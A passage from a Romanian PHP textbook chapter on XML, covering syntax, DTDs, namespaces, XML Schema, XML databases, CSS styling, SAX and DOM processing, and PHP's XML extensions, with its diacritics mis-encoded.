• numele lor nu pot începe cu xml sau XML.
Elementele XML pot fi vide sau nevide; cele nevide au conþinut, iar cele vide nu au
conþinut. Documentele XML utilizeazã instanþe ale elementelor definite în DTD.
Instanþele elementelor XML (element ) nevide sunt reprezentate în documentele
XML astfel:
<element>Continut</element>
În sintaxa utilizatã anterior, <element> este marcajul de început, iar </element>
este marcajul de sfârºit.
Instanþele elementelor XML ( element) vide sunt reprezentate în documentele XML
astfel:
<element/>
În documentele XML pot fi utilizate comentarii, ca ºi în HTML:
<!-- Comentariu -->
Elementele XML pot conþine subelemente, numite ºi copii. În continuare este pre-
zentat un exemplu în care se utilizeazã elementul student, care conþine trei subelemente
(name , year ºi age):
<student>
<name>Daniel Marinescu</name>
<year>II</year>
<age>21</age>
</student>
Dupã cum am vãzut, elementele XML pot utiliza atribute. Tipul ºi domeniul valorilor
posibile ale unui atribut ºi, eventual, valoarea implicitã a acestuia sunt declarate în DTD.
Un element XML nu poate avea douã atribute cu acelaºi nume.
Sintaxa utilizatã pentru precizarea atributelor este prezentatã în continuare:
<element attribute=”value”>Content</element>
<element attribute=”value”/>
Reþineþi cã valoarea atributului trebuie inclusã întotdeauna între ghilimele. Iatã un
exemplu în care se utilizeazã un element (student) care are douã atribute (year ºi
age):
<student year=”II” age=”21”>Daniel Marinescu</student>
102 PROGRAMAREA ÎN PHP

Analizând exemplele anterioare, se observã cã aceeaºi informaþie poate fi


precizatã în douã moduri: prin utilizarea subelementelor ºi, respectiv, prin
utilizarea atributelor. Este indicat totuºi sã se utilizeze subelemente, pentru ca
structurile de date XML sã poatã poatã fi descrise mai uºor.
Pentru a putea fi corect utilizat, un document XML trebuie sã aibã urmãtoarele
caracteristici:
• sã fie bine formatat, adicã sã fie compatibil cu standardul XML (documentul trebuie
sã aibã un singur element-rãdãcin㠖 acesta este primul element al documentului –,
toate marcajele sã fie închise, elementele sã fie imbricate corect, iar valorile atri-
butelor acestora sã fie incluse între ghilimele);
• sã fie valid, adicã documentul sã fie bine formatat ºi compatibil cu o definiþie DTD –
inclusã sau referenþiatã în document – sau o schemã XML.
Rezultã cã toate documentele valide sunt bine formatate, dar nu toate documentele
bine formatate sunt valide. Pentru a verifica dacã un document XML este bine formatat,
puteþi utiliza un validator (aºa cum este cel pe care-l gãsiþi la adresa http://
www.w3schools.com/dom/dom_validate.asp). Cele mai multe procesoare XML, inclusiv
browserele, nu verificã dacã documentele XML sunt valide.
Pentru validarea documentelor XML, puteþi utiliza un validator online, aºa cum este
STG (Scholarly Technology Group), pe care-l gãsiþi la adresa http://www.stg.brown.edu/
service/xmlvalid. Dacã doriþi sã realizaþi validarea pe maºina localã, descãrcaþi MSXML
de la Microsoft (www.microsoft.com). Macromedia Dreamweaver are înglobat un validator
XML. De asemenea, puteþi folosi modulul Perl::Validator::Schema (http://
search.cpan.org/~samtregar/XML-Validator-Schema-1.08/Schema.pm), care valideazã
un document XML folosind o schemã XML Schema.
Puteþi utiliza un validator online de la adresa http://validator.w3.org pentru a verifica
dacã un document XHTML (ºi HTML) este valid, în acord cu tipul de document
specificat în declaraþia DOCTYPE.

Figura 6.1. Structura logicã a unui document XML


PHP ªI XML 103

Iatã un exemplu de document XML bine formatat, care conþine date despre studenþi
(nume – name, an de studiu – year ºi vârsta – age ):
<?xml version=”1.0” encoding=”UTF-8”?>
<catalog>
<student>
<name>Mircea Damian</name>
<year>I</year>
<age>19</age>
</student>
<student>
<name>Radu Florescu</name>
<year>II</year>
<age>20</age>
</student>
<student>
<name>Catalin Popescu</name>
<year>I</year>
<age>19</age>
</student>
<student>
<name>Sorin Danciu</name>
<year>III</year>
<age>21</age>
</student>
</catalog>
Prima linie a documentului anterior se numeºte declaraþie XML. Prezenþa ei nu este
obligatorie, dar este utilã în sensul cã orice dispozitiv care citeºte documentul va ºti cã
acesta este un document XML, aflând totodatã ºi versiunea XML utilizatã.
Un document XML poate fi considerat ca fiind un arbore ierarhic de obiecte (vezi
figura 6.1). Elementul-rãdãcinã (root) sau nodul-rãdãcinã (catalog, în exemplul
anterior) conþine toate celelalte elemente, fiind rãdãcina arborelui. Într-un document
este permis un singur element-rãdãcinã. Acesta are copii (patru elemente student, în
exemplul anterior).
Fiecare element student are fraþi (celelalte elemente student ) ºi un pãrinte
(elementul root, catalog). La rândul lui, fiecare element student are copii ( name,
year ºi age , în exemplul anterior). Copiii elementului student sunt fraþi.
Din punctul de vedere al programatorului care scrie aplicaþii pentru procesarea
documentelor XML, principala sarcinã constã în crearea arborelui XML ºi parcurgerea
acestuia.
Creaþi directorul xml ºi, în el, salvaþi fiºierul catalog.xml, care va conþine documentul
XML creat anterior. În figura 6.2 puteþi observa cã browserul Internet Explorer afiºeazã
conþinutul acestui fiºier ca o serie de noduri indentate (figurile 6.2 a ºi 6.2 b). Acelaºi
conþinut va fi afiºat în mod similar de cãtre browserul Mozilla Firefox. Semnul minus din
faþa unui nod indicã faptul cã acesta conþine alte noduri. Dacã executaþi click pe semnul
minus, browserul va compresa toate nodurile-copil ale acestuia (figura 6.2 b).
104 PROGRAMAREA ÎN PHP

Familia de specificaþii XML include:


• limbajul de marcare XML (http://www.w3.org/XML);
• limbajele pentru descrierea elementelor incluse în documentele XML (enumerate
anterior);
• limbajul XSLT – Extensible Stylesheet Language Transformations (http://www.w3.org/
TR/xslt) utilizat pentru a transforma documentele XML în alte documente XML (e.g.,
XHTML);
• XPath (http://www.w3.org/TR/xpath), XPointer (http://www.w3.org/TR/xptr) ºi
XLink (http://www.w3.org/TR/xlink) sunt limbaje utilizate pentru a furniza capabili-
tãþi pentru accesul la date. XPath este utilizat pentru localizarea nodurilor în arborele
XML ºi procesarea acestora, fiind folosit împreunã cu XSLT. XPointer ºi XLink
extind XPath.

a b
Figura 6.2. Document XML afiºat în Internet Explorer

Pentru crearea ºi editarea documentelor XML pot fi utilizate douã categorii de


aplicaþii, enumerate în continuare:
• editoare de text (e.g.: vi, emacs, notepad);
• editoare XML; iatã câteva exemple:
o Adobe FrameMaker (www.adobe.com);
o XML Pro (www.vervet.com);
o XML Writer (www.xmlwriter.net);
o XMetal (http://xmetal.com/index.x);
o XML Spy (www.altova.com/products_ide.html).
PHP ªI XML 105

Spaþii de nume XML


Spaþiile de nume XML au fost introduse pentru a evita problemele care apar atunci când
documentele XML utilizeazã acelaºi nume pentru date diferite ºi reprezintã, în general,
un mecanism care permite dezvoltatorilor XML sã stabileascã în mod unic numele de
elemente ºi relaþiile dintre ele, evitându-se conflictele de nume definite în vocabulare
diferite. Un spaþiu de nume XML identificã un vocabular prin intermediul unui URI
(Uniform Resource Identifier). URI-urile se împart în douã categorii: URL (Uniform
Resource Locator) ºi URN (Uniform Resource Name).
Pentru a declara un spaþiu de nume trebuie ca acestuia sã i se asocieze un URI
(numit identificator al spaþiului de nume) ºi sã se defineascã un prefix pentru a-l
reprezenta. Prefixul este un nume care poate conþine caracterele utilizate pentru
alcãtuirea elementelor XML, cu excepþia caracterului douã puncte.
Pentru a putea fi utilizatã, declaraþia unui spaþiu de nume trebuie prefixatã cu xmlns :
xmlns:prefix=”namespace-URI”
Iatã câteva exemple de declaraþii:
xmlns:xs=”http://www.w3.org/2001/XMLSchema”
xmlns:xsl=”http://www.w3.org/1999/XSL/Transform”
Un nume calificat se obþine dintr-un prefix ºi un nume local (LocalName), între care
se plaseazã caracterul douã puncte:
prefix:LocalName

Un spaþiu de nume are un domeniu de valabilitate, în sensul cã acesta afecteazã


elementul în care este specificat, precum ºi descendenþii elementului respectiv.
Orice declaraþie a unui spaþiu de nume plasatã în elementul-rãdãcinã al unui
document XML devine valabilã pentru toate elementele documentului (efectul de propa-
gare a unui spaþiu de nume). În practicã, se declarã spaþiul de nume în elementul-rãdãcinã
ºi se utilizeazã prefixul corespunzãtor (e.g., xs , xls etc.) pentru elemente, atunci când
este necesar.
Într-un document se poate declara un spaþiu de nume implicit, care nu conþine un
prefix. Acesta va fi utilizat de toate elementele din document care nu sunt prefixate:
xmlns=”namespace-URI”
Iatã un exemplu (elementul-rãdãcinã al unui document XSLT):
<xsl:stylesheet
xmlns:xsl=”http://www.w3.org/1999/XSL/Transform”
xmlns=”http://www.w3.org/1999/xhtml”
version=”1.0”>
Documentul XSLT care începe cu linia anterioarã va conþine douã tipuri de elemente:
• elemente XSLT, prefixate cu xsl (adicã xsl:element);
• elemente XHTML, care nu sunt prefixate.
106 PROGRAMAREA ÎN PHP

Atributele XML pot avea, de asemenea, spaþii de nume, utile în procesarea docu-
mentelor XML (e.g., xsi:type transmite date privitoare la tipul datelor conþinute de
elementul al cãrui atribut este).
XML Schema defineºte douã spaþii de nume standard prin intermediul cãrora se pot
crea documente-schemã:
• spaþiul de nume identificat de http://www.w3.org/2001/XMLSchema ºi prefixat prin
xs. Acesta conþine definiþiile tipurilor simple descrise în XML Schema cu care se
construieºte un document-schemã (având extensia xsd);
• spaþiul de nume identificat de http://www.w3.org/2001/XMLSchema-instance ºi
prefixat prin xsi (XML Schema Instance). Acesta defineºte atribute care pot fi
utilizate în documentele XML pentru a furniza informaþii suplimentare procesoarelor
XML.
Este important de reþinut cã un spaþiu de nume valid nu trebuie sã indice în mod
obligatoriu cãtre un URI existent, ci numai sã presupunã cã alte persoane nu vor utiliza
acelaºi identificator.

Limbaje de descriere
Din punct de vedere istoric, primul limbaj pentru descrierea documentelor XML a fost
DTD. Cu ajutorul unui document DTD pot fi specificate:
• elementele care pot apãrea într-un document XML;
• ordinea ºi relaþiile dintre elemente;
• atributele pentru fiecare element ºi mãºti pentru verificarea valorii acestora.
În continuare, ne vom referi la descrierea prin DTD a documentelor XML. DTD-ul
unui document XML conþine descrieri (sau declaraþii) ale elementelor ºi atributelor care
pot fi incluse în documentele XML de tipul cãruia îi aparþine documentul respectiv.
Trebuie declarate toate elementele, neavând importanþã ordinea în este realizat acest
lucru.
O declaraþie DTD a unui element este compusã dintr-un marcaj ºi o definiþie inclusã
între paranteze. Aceasta din urmã poate conþine reguli pentru:
• text simplu;
• un singur element-copil;
• o secvenþã de elemente-copil, separate prin virgulã.
Astfel, pentru declararea unui element XML care conþine numai text se utilizeazã
urmãtoarea sintaxã:
<!ELEMENT name description>
De exemplu, elementul name (utilizat în catalog.xml) poate fi definit astfel:
<!ELEMENT name (#PCDATA)>
Descrierea #PCDATA a unui element înseamnã cã acesta conþine numai text, care va
fi afiºat de procesorul XML.
Elementele XML vide sunt definite utilizând descrierea EMPTY, aºa cum se aratã în
exemplul urmãtor:
PHP ªI XML 107

<!ELEMENT br EMPTY>
Un element XML care conþine subelemente va fi descris (împreunã cu acestea) în
limbajul DTD ca în exemplul urmãtor:
<!ELEMENT student (name,year,age)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT year (#PCDATA)>
<!ELEMENT age (#PCDATA)>
În exemplul anterior, elementul student are trei subelemente (numite ºi subtipuri):
name, year ºi culoare (ele trebuie sã aparã în aceastã ordine în documentul XML), iar
fiecare subelement poate conþine text simplu. Dacã utilizaþi sintaxa precizatã anterior,
fiecare dintre cele trei subelemente poate fi folosit o singurã datã în interiorul elementului
student. Pentru a schimba numãrul apariþiilor posibile ale unui subelement, în definiþia
acestuia – dupã numele sãu – trebuie plasat unul dintre caracterele urmãtoare:
• + – înseamnã cã subelementul poate sã aparã cel puþin o datã în documentul XML;
• * – înseamnã cã subelementul poate sã nu aparã deloc sau poate apãrea de mai multe
ori în document;
• ? – înseamnã cã subelementul poate sã nu aparã deloc sau sã aparã numai o singurã
datã în document;
• () – defineºte o grupare de elemente, ca în exemplul urmãtor (în care elementul
student poate conþine subelementele name, year ºi age sau numai text):
<!ELEMENT student ((name,year,age)|#PCDATA)
Iatã un exemplu în care subelementele item ºi note pot sã aparã de un numãr
oarecare de ori, dar cel puþin o datã fiecare:
<!ELEMENT list (item+,note+)>
Pentru a specifica faptul cã se poate alege între douã elemente, în DTD se utilizeazã
caracterul „| ”, aºa cum se aratã în continuare:
<!ELEMENT identity (pseudonym|nickname)>
Dacã se doreºte precizarea unui anumit numãr de apariþii ale unui subelement într-un
element, trebuie sã se procedeze ca în exemplul urmãtor, în care subelementul item
apare exact de trei ori în interiorul elementului list:
<!ELEMENT list (item,item,item)>
Dacã elementele includ atribute, acestea pot fi declarate în DTD utilizând !ATTLIST .
Declaraþia conþine numele elementului cãruia îi aparþin atributele, urmat de lista acestora
împreunã cu valorile lor posibile, ca în exemplul urmãtor:
<!ELEMENT actor (#PCDATA)>
<!ATTLIST actor
actorid ID #REQUIRED
gender (male|female) #REQUIRED
type CDATA #IMPLIED>
În exemplul anterior, atributul actorid asociazã elementului XML actor un ID,
care – în DTD – trebuie sã aibã o valoare unicã, utilizatã pentru identificarea elementului
108 PROGRAMAREA ÎN PHP

(cerinþe: valoarea unui ID trebuie sã înceapã cu o literã sau cu caracterul underscore;


unui element XML trebuie sã i se atribute cel mult un ID). Prezenþa atributului gender
este obligatorie (vezi specificarea #REQUIRED), acesta având numai douã valori posibile
(male ºi female). În schimb, prezenþa atributului type (de tip CDATA – character data –,
adicã valoarea sa constã într-un ºir de caractere ºi numere) este opþionalã (vezi speci-
ficarea #IMPLIED). Iatã un exemplu (porþiune de cod XML) în care este utilizatã
declaraþia anterioarã:
<actor actorid=”HG4321234”
gender=”male”
type=”moviestar”>Gene Hackman
</actor>
Entitãþile sunt piese de cod XML care pot fi utilizate într-un document cu ajutorul
referinþelor de entitãþi. De exemplu, referinþa &lt; este utilizatã pentru a reprezenta
entitatea <. Limbajul XML suportã o serie de entitãþi built-in (care nu trebuie declarate
în DTD). Acestea sunt <, >, ’ ºi & (referinþele lor fiind &lt;, &gt;, &quote ºi &amp;).
Entitãþile sunt grupate pe tipuri: general, parametru ºi externe.
Entitãþile de tip general sunt utilizate în mod obiºnuit pentru a substitui porþiuni de
cod XML, ca în exemplul urmãtor:
<!ENTITY copyright ”2005 by POLIROM”>
Declaraþia anterioarã poate fi utilizatã într-un document XML aºa cum se aratã în
exemplul urmãtor:
<footer>&copyright;</footer>
Entitãþile-parametru sunt utilizate în mod obiºnuit pentru organizarea DTD-urilor.
Aceste entitãþi sunt prefixate cu semnul % . Iatã un exemplu:
<!ENTITY %right ”(#PCDATA|b|i|u)*”>
<!ELEMENT title %right;>
<!ELEMENT paragraph %right;>
<!ELEMENT endnote %right;>
Declaraþia anterioarã aratã cã fiecare dintre elementele title, paragraph ºi
endnote conþin text ºi elemente b , i ºi u.
Entitãþile externe indicã informaþii externe (e.g., fiºiere XML) care vor fi copiate în
documentul XML în momentul procesãrii acestuia, ca în exemplul urmãtor:
<!ENTITY list SYSTEM ”http://www.example.com/list.xml”>
Cuvântul-cheie SYSTEM aratã cã entitatea externã este un fiºier aflat pe un server.
Aceastã entitate poate fi utilizatã ca în exemplul urmãtor:
<section>
<heading>List of High School</heading>
&list;
</section>
O descriere DTD poate fi inclusã chiar în documentul XML printr-o declaraþie
DOCTYPE plasatã dupã linia <?xml version=”1.0”> :
PHP ªI XML 109

<!DOCTYPE root_element [
definition
]>
Dacã descrierea DTD utilizatã de un document XML se aflã într-un fiºier extern
(filename.dtd), acesta trebuie precizat prin urmãtoarea declaraþie DOCTYPE, plasatã dupã
prima linie a documentului:
<!DOCTYPE root_element SYSTEM ”filename.dtd”>
În exemplul anterior, fiºierul care conþine documentul DTD trebuie inclus în directorul
care conþine documentul XML. Dacã fiºierul care include documentul DTD este pe un
alt server, el poate fi specificat prin intermediul URL-ului sãu, ca în exemplul urmãtor:
<!DOCTYPE root_element SYSTEM
”http://www.exemple.com/dtd/filename.dtd”>
De asemenea, prima linie a documentului XML trebuie sã fie:
<?xml version=”1.0” standalone=”no”?>
În continuare este prezentat DTD-ul documentului catalog.xml:
<!ELEMENT catalog (student+)>
<!ELEMENT student (name,year,age)>
<!ELEMENT name (#PCDATA )>
<!ELEMENT year (#PCDATA )>
<!ELEMENT age (#PCDATA )>
Limbajul DTD prezintã totuºi deficienþe notabile, dintre care menþionãm:
• nu este bazat pe XML ºi, din acest motiv, aplicaþiile care proceseazã documente
XML trebuie sã cunoascã încã un limbaj (DTD);
• declaraþiile DTD sunt globale, astfel încât nu pot fi definite douã elemente diferite cu
acelaºi nume, chiar dacã acestea sunt utilizate în contexte diferite (limbajul DTD nu
include facilitãþi complete pentru spaþiile de nume, fiind propus înaintea apariþiei
acestora);
• nu poate controla strict tipul de date utilizate de elementele XML ºi de atributele
acestora.
Spre deosebire de DTD, XML Schema prezintã mai multe facilitãþi, dintre care
menþionãm:
• este un limbaj bazat pe XML, documentele-schemã (sau, pe scurt, schemele) scrise
în acest limbaj fiind procesate într-un mod similar cu documentele XML descrise de
acestea;
• asigurã suport complet pentru spaþiile de nume, permiþând astfel utilizarea unor
elemente cu nume identice în contexte diferite;
• defineºte un set complet de tipuri simple date;
• include suport pentru definirea de tipuri complexe de date.
În XML Schema (vezi http://www.w3.org/TR/2004/REC-xmlschema-2-20041028),
tipurile de date predefinite (built-in) se clasificã în primitive ºi derivate. Tipurile primitive
nu sunt definite pe baza altor tipuri, în vreme ce tipurile derivate, aºa cum le spune ºi
numele, sunt derivate din alte tipuri de date. Tipurile primitive sunt: string, decimal,
boolean, base64Binary, hexBinary, float, double, anyURI, QName, notation, duration,
110 PROGRAMAREA ÎN PHP

dateTime, time, date, gYearMonth, gYear, gMonthDay, gDay ºi gMonth. Derivarea se


poate face prin restricþie, pe bazã de listã ºi prin uniune.
Tipurile de date predefinite (primitive ºi derivate) au un spaþiu de nume asociat,
al cãrui URI este http://www.w3.org/2001/XMLSchema. Tipurile de date derivate
de utilizator trebuie definite printr-o schemã individualã ºi identificate printr-un
spaþiu de nume unic.

XML ºi bazele de date


Un document XML este o bazã de date? În sensul strict al termenului bazã de date, se poate
rãspunde afirmativ la aceastã întrebare, deoarece un document XML este o colecþie de
date. Ca un format de baze de date, XML are câteva avantaje: este autodescriptiv, este
portabil (Unicode) ºi poate descrie datele într-o structurã de tip arbore. Ca dezavantaje,
menþionãm accesul greoi la date ca urmare a necesitãþii de a procesa documentele.
În sensul extins al termenului, se poate spune cã familia XML furnizeazã multe dintre
facilitãþile oferite de bazele de date:
• stocarea datelor (în documente XML);
• limbaje de descriere (e.g., DTD, XML Schema, Relax NG);
• limbaje de interogare (e.g., XQuery, XPath, XQL, XML-QL);
• interfeþe de programare (e.g., SAX, DOM).
În acelaºi timp, nu sunt asigurate alte facilitãþi foarte importante oferite de bazele de
date, ca: stocare eficientã, securitate, indexare, tranzacþii, integritatea datelor, declan-
ºatoare, acces multiutilizator etc.
În concluzie, se poate spune cã documentele XML pot fi utilizate ca baze de date
numai în mediile în care existã o cantitate micã de date, un numãr mic de utilizatori ºi
cerinþe reduse în ceea ce priveºte performaþele.
În cele mai multe situaþii (e.g., situri e-commerce) sunt utilizate baze de date
relaþionale pentru stocarea datelor ºi documente XML pentru transportul acestora. În
acest caz sunt necesare aplicaþii care realizeazã transferul datelor între documentele
XML ºi bazele de date. Iatã câteva dintre aceste aplicaþii (gãsiþi o listã extinsã la http://
www.rpbourret.com/xml/XMLDatabaseProds.htm#middleware):
• ASP2XML (http://www.stonebroom.com/asp2xml.htm);
• DB2XML (http://www.informatik.fh-wiesbaden.de/~turau/DB2XML);
• XML-DBMS (http://www.rpbourret.com/xmldbms/index.htm);
• SXQL (http://www.hatop.de/index2-en.html).
XML-DBSM constã dintr-un set de pachete Java care pot fi folosite de utilizatori
pentru a realiza sisteme de transfer al datelor. Aceastã aplicaþie pãstreazã structura
ierarhicã a documentului ºi (la cerere) ordinea în care apar descendenþii la un nivel dat
în arborele XML. Poate utiliza baze de date Microsoft Access, MS SQL Server, Oracle,
Sybase, MySQL ºi PrimeBase. Necesitã prezenþa în sistem a driverelor JDBC pentru
bazele de date utilizate sau a unei punþi JDBC-ODBC. Existã, de asemenea, ºi o versiune
scrisã în Perl a acestei aplicaþii.
Existã aºa-numitele baze de date XML-enabled. Acestea prezintã extensii pentru
transferul datelor între ele ºi documentele XML. Iatã câteva dintre acestea (o listã la
http://www.rpbourret.com/xml/XMLDatabaseProds.htm#xmlenabled):
PHP ªI XML 111

• DB2 (http://www-306.ibm.com/software/data/db2/extenders/xmlext);
• Informix (http://www-306.ibm.com/software/data/informix);
• Oracle 8i, 9i (http://www.oracle.com/technology/tech/xml/xmldb/index.html);
• MS SQL Server (http://www.microsoft.com/sql/default.mspx).
În alte situaþii, pot fi utilizate baze de date XML native, care pãstreazã structura
documentelor XML ºi permit realizarea unor interogãri folosind limbajele de interogare
XML. Cele mai multe baze de date XML native întorc (dupã interogãri) date XML. În
acest caz, dacã aplicaþia utilizeazã date în alt format, este necesarã o procesare prealabilã
a datelor XML. Aceasta reprezintã un dezavantaj pentru aplicaþiile locale care utilizeazã
baze de date XML native în locul bazelor de date relaþionale, dar nu ºi pentru pentru
aplicaþiile distribuite care utilizeazã formatul XML pentru transportul datelor. Iatã câteva
exemple de baze de date XML native (mai multe la http://www.rpbourret.com/xml/
XMLDatabaseProds.htm#native):
• Berkeley DB XML (http://www.sleepycat.com/products/xml.shtml);
• DBDOM (http://dbdom.sourceforge.net);
• Xindice (http://xml.apache.org/xindice).
Puteþi gãsi o listã exhaustivã a bazelor de date utilizate în conjuncþie cu documentele
XML la http://www.rpbourret.com/xml/XMLDatabaseProds.htm.

Stocarea documentelor XML


Documentele XML pot fi stocate în sistemul de fiºiere, în câmpuri BLOB ale bazelor de
date relaþionale sau în baze de date XML native.
Pot fi stocate în sistemul de fiºiere documentele XML mici. Aceastã modalitate de
stocare nu permite realizarea unor cãutãri sofisticate. Pot fi utilizate programele grep
pentru interogãri ºi sed pentru modificarea documentelor (UNIX/Linux).
Stocarea documentelor XML în câmpurile BLOB ale bazelor de date relaþionale
furnizeazã avantaje specifice acestora: securitate, controlul tranzacþiilor, acces multi-
utilizator, cãutare full-text etc.
Bazele de date XML native sunt proiectate special pentru a stoca documente XML.
Ca ºi alte tipuri de baze de date, asigurã: tranzacþii, acces multiutilizator, limbaje de
interogare, securitate etc. Acest baze de date au ca unitate logicã de stocare documentul
XML, corespunzãtor înregistrãrii din modelul relaþional. Bazele de date XML native se
împart în douã categorii:
• Baze de date bazate pe text. În aceastã categorie, datele sunt stocate ca text. Acesta
poate fi un fiºier din sistemul de fiºiere, un BLOB în bazele de date relaþionale sau un
format proprietar. Sunt utilizate indexuri, care permit o poziþionare rapidã în oricare
punct al oricãrui document XML.
• Baze de date bazate pe model. Acestea construiesc un model obiectual intern pentru
document ºi îl stocheazã. Modul de stocare a modelului este propriu fiecãrui sistem de
baze de date. Unele sisteme stocheazã modelul în baze de date relaþionale, altele – în
baze de date obiectuale. De exemplu, stocarea modelului într-o bazã de date rela-
þionalã are drept rezultat crearea unor tabele ca Elements, Attributes, PCDATA, Entity
ºi EntityReferences.
112 PROGRAMAREA ÎN PHP

Afiºarea documentelor XML în browser utilizând CSS


Documentele XML pot fi afiºate în browser utilizând douã tehnologii: CSS (Cascading
Style Sheets) ºi XSLT (XSL Tranformations).
În continuare, vom prezenta modul în care se utilizeazã tehnologia foilor de stil în
cascadã (CSS). În mod obiºnuit, limbajul CSS este utilizat pentru interpretarea în
browser a documentelor XHTML, dar poate fi utilizat ºi pentru interpretarea docu-
mentelor XML, dacã se definesc caracteristici de afiºare pentru fiecare element. Cu
toate acestea, CSS prezintã limitãri serioase care nu îl recomandã pentru interpretarea
documentelor XML:
• nu poate reordona elementele în documentul-sursã;
• nu permite adãugarea de text sau imagini;
• nu poate decide care elemente pot fi afiºate ºi care nu;
• nu poate face diverse calcule.
Rezultã cã CSS poate fi utilizat pentru afiºarea documentelor XML numai atunci
când structura acestora este foarte apropiatã de ceea ce va fi afiºat.
Pentru a afiºa în browser un document utilizând CSS trebuie create definiþii de stil
pentru fiecare element al documentului. Aceste definiþii vor fi incluse într-un fiºier cu
extensia css, care va fi legat la documentul XML. Creaþi fiºierul catalog.css, având
conþinutul prezentat în listing-ul 6.1.
6.1. Fiºierul catalog.css
catalog {
display: block;
margin: 10px;
padding: 5px;
width: 275px;
height: 400px;
border: 1px solid #ff0000;
overflow: auto;
font: 14px Tahoma;
}
student {
display: block;
margin: 20px;
padding: 10px;
width: 200px;
height: 70px;
border: 1px solid #0000ff;
overflow: auto;
background-color: #ccccdd;
}
name {
display: block;
font-weight: bold;
PHP ªI XML 113

font-style: italic;
}
year, age {
display: block;
font-weight: bold;
}

afiºate dupã executarea scriptului din listing-ul 6.1

Documentele XML pot fi afiºate


în browser utilizând tehnologia
foilor de stil în cascadã
(Cascading Style Sheets).

Legaþi catalog.css la catalog.xml, introducând în fiºierul XML linia (a doua):


<?xml-stylesheet type=”text/css” href=”catalog.css”?>
ºi afiºaþi documentul catalog.xml (http://127.0.0.1/xml/catalog.xml). Veþi obþine rezul-
tate similare în browserele Internet Explorer, Mozilla Firefox ºi Opera.

Procesarea documentelor XML


Metode de procesare XML
Metodele de procesare a documentelor XML pot fi împãrþite în douã categorii:
• procesarea orientatã pe flux (caracteristici: nu încarcã întregul document în memorie,
numai nodul curent este accesibil pentru procesare, editarea nefind posibilã; necesitã
timp scurt ºi resurse minime de memorie);
• procesarea într-un arbore (caracteristici: încarcã întregul document în memorie,
sunt posibile accesul aleatoriu la noduri, precum ºi editarea documentului; efectueazã
o procesare complexã, necesitând resurse mari de memorie).
Aceste categorii sunt reprezentate de SAX (Simple API for XML) ºi XMLReader ºi,
respectiv, de DOM (Document Object Model).
114 PROGRAMAREA ÎN PHP

Procesoare XML
Procesoarele XML pot fi clasificate în douã categorii: procesoare care realizeazã
validarea documentelor XML ºi procesoare care nu fac aceastã operaþie (verificã numai
dacã documentele XML sunt bine formatate).
Iatã câteva exemple de procesoare XML:
• Xerces (creat de Apache XML Project, având variante scrise în Java, C++ ºi Perl;
http://xml.apache.org);
• expat (scris în C de cãtre James Clark, http://www.jclark.com/xml/expat.html);
• XP (scris în Java de James Clark, http://www.jclark.com/xml/xp/index.html);
• XML for Java (XML4J, IBM Alphaworks);
• Sun Microsystems Project (http://java.sun.com/xml/index.jsp);
• Oracle XML Parser (http://www.oracle.com/technology/tech/xml/index.html).
O implementare gratuitã în C pentru întregul model DOM este reprezentatã de libxml
(http://www.xmlsoft.org). Aceasta este o bibliotecã de procesare a documentelor XML
scrisã de Daniel Veillard de la Consorþiul Web. Ea permite asocierea ºi procesarea
spaþiilor de nume XML, oferã reguli de validare a documentelor etc. Biblioteca libxml
este inclusã ºi în mediul de dezvoltare GNOME (http://www.gnome.org). Versiunea
actualã a acestei biblioteci este libxml2, fiind realizatã sub licenþa MIT (http://
www.opensource.org/licenses/mit-license.html). Ea include implementãri complete pentru
XPath, XPointer ºi XInclude (http://www.w3.org/TR/xinclude) ºi este utilizatã pe mai
multe platforme, incluzând UNIX/Linux, Windows, MacOS X ºi OS/2.

SAX ºi DOM: caracteristici


SAX (http://www.saxproject.org) este o interfaþã de programare bazatã pe evenimente,
iar modelul DOM (http://www.w3.org/DOM) trateazã un document XML ca fiind un
arbore de noduri-conþinut, în care elementele XML sunt noduri al acestui arbore.
API-ul SAX furnizeazã acces serial: citeºte fiºierul XML în mici bucãþi, le
proceseazã, apeleazã o funcþie de tratare ºi realizeazã o sarcinã. Utilizaþi SAX
atunci când documentele XML procesate sunt foarte mari, când doriþi sã obþineþi
cantitãþi mici de informaþie sau vreþi sã opriþi procesarea înainte de a fi terminatã. Nu
este posibilã navigarea prin arborele XML ºi nici modificarea acestuia. Spre deosebire
de SAX, DOM încarcã în întregime în memorie conþinutul fiºierului XML (poate
determina o încãrcare ridicatã a memoriei, dacã fiºierul este mare); dupã încãrcare,
documentul poate fi accesat într-un mod asemãnãtor cu un tablou multidimensional (se
pot citi, adãuga sau ºterge noduri). De asemenea, DOM permite construcþia unui arbore
XML nou, precum ºi copierea unui subarbore al unui arbore în altul. Utilizaþi DOM
atunci când documentele XML sunt relativ mici ºi când doriþi sã navigaþi în structura
arborelui XML sau sã interveniþi în aceasta.
PHP ªI XML 115

Procesarea documentelor XML în PHP


Pentru accesarea ºi procesarea documentelor XML, PHP 4 conþine implicit numai
suportul pentru standardul SAX. Opþional, pot fi adãugate extensii pentru DOM ºi XSL
Transformations (extensie bazatã pe Sablotron).
Toate extensiile XML din PHP 5 sunt bazate pe bibliotecile libxml2 ºi libxslt ale
proiectului GNOME. Aceste extensii:
• asigurã suportul pentru standardul SAX2 (metodã push);
• permit o abordare simplã a procesãrii XML prin SimpleXML (metodã object mapping);
• asigurã procesarea XML a documentelor XML pe baza standardului DOM Level 3
Core (metodã tree);
• permite procesarea orientatã pe flux a documentelor XML (introdusã de Microsoft.NET),
prin utilizarea extensiei PHP XMLReader (metodã pull);
• asigurã funcþionalitãþile necesare pentru transformarea documentelor XML utilizând
foile de stil XSLT;
• include o implementare a SOAP (Simple Access Object Protocol) pentru serviciile Web.
În acest capitol vom prezenta procesarea documentelor XML utilizând metoda SAX
(PHP 4 ºi PHP 5), extensia DOM (PHP 4 ºi PHP 5), extensia SimpleXML (PHP 5). De
asemenea, vom prezenta procesarea XML prin utilizarea pachetelor PEAR (PHP Extensions
and Application Repository) dedicate.

Transformarea XSLT a documentelor XML


XSL (Extensible Stylesheet Language) este un limbaj care permite transformarea docu-
mentelor XML în alte documente XML (e.g., XHTML, SVG) sau în alte tipuri de
documente (e.g., text simplu). Termenul stylesheet inclus în numele limbajului reflectã
unul dintre cele mai importante roluri ale sale, acela de a adãuga informaþii de stil
documentului-sursã XML.
XSL poate fi utilizat atât pe client, cât ºi pe server. Cea mai bunã soluþie este de
a utiliza XSL pe server. Transformarea pe client se realizeazã de cãtre browser,
iar pe server se realizeazã prin intermediul extensiilor limbajelor de programare
Web pentru server (Perl, PHP etc.). Existã, de asemenea, procesoare XSL care nu
